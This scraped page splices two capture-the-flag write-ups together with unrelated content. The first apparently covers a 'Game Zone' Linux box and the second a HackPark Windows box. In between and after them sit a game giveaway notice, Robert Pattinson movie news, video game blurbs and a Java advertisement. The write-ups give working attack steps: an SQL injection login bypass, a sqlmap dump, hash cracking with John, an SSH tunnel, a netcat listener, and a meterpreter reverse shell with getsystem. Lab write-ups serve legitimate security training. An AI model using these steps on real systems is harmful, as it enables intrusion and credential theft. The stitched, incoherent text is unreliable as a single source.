Highlights: leveraging port forwarding to expose a webservice from behind a firewall, using sqlmap to find a username and hashed password
Tools used: sqlmap, nmap, dirb, burpsuite, hydra, john the ripper, metasploit
Tags: sqli, hashcracking, metasploit, ssh tunnel
BACKGROUND
In this Linux capture-the-flag (CTF) challenge we are tasked with hacking into a game review website’s server and finding a way to gain root privileges. Let’s go!
Let’s kick things off with our standard nmap and dirb scans. We’ll let these run while we go ahead and walk the website looking for interesting leads.
To find the character’s name on the main page, we can do a reverse image search on google. I’ve played this title before but forgot his name, so I just googled “hitman game character name” to find the answer to our first question. (agent 47)
NMAP SCAN RESULTS
DIRB SCAN RESULTS
WALK THE WEBSITE
We see a login portal on the landing page of our target IP. We also look at the /images folder that dirb found, but nothing remarkable is there at first glance.
Due to a lack of proper data sanitization, we discover that the login can be bypassed by entering the following username and leaving the password blank:
' or 1=1 -- -
The login trick works, and we are presented with a search box.
INITIAL FOOTHOLD – INTERCEPT A POST REQUEST WITH BURP
Let’s fire up burpsuite now to intercept an HTTP-post request made with this search box.
If you use burpsuite to capture the request, you can directly download it as a file. A word of caution: Using Firefox developer mode to intercept and save the request saved it double-spaced for some reason, and I suspect the formatting caused it to screw up the sqlmap command.
USING SQLMAP TO EXTRACT THE FULL DATABASE
With the following command, we can instruct sqlmap to attempt to download (dump) the entire database and search for login username and hashed password.
sqlmap -r req --dbms=mysql --dump --level 5
It worked! We see that the database stores a list of game titles and reviews.
The most interesting piece of information here is the password. It looks like a hashed password. We can use an online hash identifier program like hashes.com to find out the hash type.
We can see that it is probably a SHA256 encrypted string. Now it’s time to …
CRACK THAT HASH WITH JOHN (THE RIPPER)!
john hash.txt --wordlist=/home/kalisurfer/hacking-tools/rockyou.txt --format=Raw-SHA256
rockyou.txt is a legendary leaked database of passwords (14,344,391 passwords!)
Output:
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 512/512 AVX512BW 16x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
videogamer124 (?)
1g 0:00:00:00 DONE (2023-01-14 12:23) 1.449g/s 4369Kp/s 4369Kc/s 4369KC/s vimivera..tyler912
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed
This box requires a two-step process of port forwarding via ssh and then throwing a reverse meterpreter shell to a listener.
Let’s check for hidden services running on ports that may be behind a firewall. We can use the ss utility to check out all of the data connections from each port on our target machine.
agent47@gamezone:~$ ss -t -u -l -p -n
Output:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:10000 *:*
This first line is curious. It appears that a service is running on port 10000 of the target system.
Let’s go ahead and port forward to see what is lying behind the firewall. Port 10000 is typically used for server tools and configuration services.
SET UP PORT FORWARD WITH SSH
The following command will activate port forwarding via ssh:
ssh -L 10000:localhost:10000 agent47@10.10.151.64
password: —-cracked-password—-
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 109 packages can be updated.
68 updates are security updates. Last login: Sat Jan 14 18:21:17 2023 from 10.6.2.23
agent47@gamezone:~$
We are connected now with port forwarding in place. Let’s navigate in our browser to http://$targetIP:10000
After logging in with the same username:password combination we used with ssh, we are given access to a webmin portal.
PRIVESC WITH METASPLOIT
Searching for webmin in Metasploit brings up the following Metasploit module.
Let’s use it and set it up with the following options:
Let it rip!
run
And it connects us to a shell. We can use the following command to interact with the meterpreter on session 0.
sessions -i 0
And we now have our root flag! Thanks for reading this write-up.
The game is free to keep if claimed by: Thursday, 23rd January 2023 12:00 UTC
We are welcoming everyone to join our discord[discord.gg]. We are more active there in finding giveaways, small or large, and there are daily raffles you can participate.
Robert Pattinson Talks New Movie With Parasite Director
Robert Pattinson has shared some details about his next movie, Mickey 17, from Parasite director Bong Joon-ho.
In a recent interview with ES Magazine, the actor has finally been able to share some insight on working with the Academy Award-winning director for his next movie, saying, "...it's like nothing I've ever done before."
Mickey 17 is based on the dystopian sci-fi novel by Edward Ashton, where the main character Mickey Barnes--played by Pattinson--has to team up with a clone of himself. Pattinson will be playing two versions of himself in the movie. "The movie is so crazy, it's a completely different style of working," Pattinson said. "...It's so much talking."
Colossal Cave is an exciting point & click adventure into a mysterious cavern - a re-imagining of the celebrated text adventure by Will Crowther & Don Woods. Acclaimed game designer Roberta Williams brings you her vision of the game that inspired her to create her own legendary games.
Highlight: using metasploit to quickly and easily gain root access
Tools: nmap, dirb, hydra, burpsuite, msfvenom
Tags: RCE (remote code execution), Windows
BACKGROUND
In this box, we will hack into a windows machine using standard pen-testing tools. There are two options for solving the box.
I’ll demonstrate in this post how to hack into the box with metasploit. In the upcoming Hackpark Part II post, I’ll show how to find the flags without using metasploit.
ATTACK MAP
IPs
First, let’s record our IP addresses in export format to use as bash variables.
export myIP=10.6.2.23
export targetIP=10.10.72.99
ENUMERATION
We’ll kick things off with a dirb scan and an nmap scan.
/admin is discovered on targetIP with dirb. ┌─[kalisurfer@parrot]─[~]
└──╼ $nmap 10.10.208.243
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 16:03 EST
Nmap scan report for 10.10.208.243
Host is up (0.098s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
The ms-wbt-server looks interesting. A quick google search shows that this port is used for windows remote desktop. We may come back to this later on in the hack.
PREPPING OUR COMMAND FOR HYDRA
Next, we’ll use firefox in developer mode to inspect the POST request when we attempt to login to the /admin portal with generic credentials (admin:pass).
Now we can log in with the user:password combo admin:1qaz2wsx
We are shown an admin dashboard. Searching up blogengine in exploits-db.com reveals a possible exploit for us to use: (CVE-2019-6714).
To use the exploit, we need to upload the exploit’s payload (PostView.ascx) through the file manager. We can then trigger it by accessing the following address in our browser:
Next, let’s spin up a netcat listener with the command:
nc -lnvp 8888
TRIGGER THE REV SHELL
Now that our malicious payload is uploaded and our netcat listener is activated, all we have to do is navigate to the following address, and we should catch the reverse shell as planned.
And … bingo! We’ve caught the revshell and we are in with our initial foothold!
UPGRADE THE SHELL TO METERPRETER
Now that we are in the shell, we can work to upgrade our shell to a meterpreter shell. This will allow us to use many powerful tools within metasploit framework.
We’ll use python3 to spin up a simple HTTP server that can help us serve the reverse meterpreter shell payload file to the windows machine.
Notice that we save the file in the Temp directory because we have to write permissions there. This is a common configuration that can be leveraged as an unprivileged user.
CATCH THE METERPRETER SHELL WITH METASPLOIT
First, let’s fire up Metasploit console:
msfconsole
Then load the handler:
use exploit/multi/handler
Next, we need to set the lport, lhost, and set the payload to windows/meterpreter/reverse_tcp
Now that everything is set up correctly, we can run it to boot up the meterpreter listener:
Run
activate the shell.exe on the target machine to throw a meterpreter revshell
And we got it! The lower left console window shows the meterpreter shell.
Now that we are running a meterpreter shell in msfconsole we can quickly pwn the system with:
getsystem
And view the system information:
sysinfo
We can view our user information with the command:
getuid
Since we are already NT Authority, thanks to the magical powers of Metasploit, we don’t need to do anything else except locate and retrieve the two flags.
We found both flags!
In the next post, I’ll walk you through an alternate solution to this box without needing Metasploit.
A Space For The Unbound is a slice-of-life adventure game with beautiful pixel art set in the late 90s rural Indonesia that tells a story about overcoming anxiety, depression, and the relationship between a boy and a girl with supernatural powers.
Follow two high school sweethearts, Atma and Raya, on a journey of self-discovery at the end of their high school years. When a mysteriously supernatural power is suddenly unleashed threatening their existence, they must explore and investigate their town to uncover hidden secrets, face the end of the world, and perhaps learn more about each other.
Solving modern application development challenges with Java
Organizations are modernizing their business applications to remain competitive in today’s digital economy. To keep up, developers need tools that ensure business applications are portable, adaptable, and perform as expected. Read and find out how Java helps organizations meet the challenges faced when modernizing business applications for today’s business needs.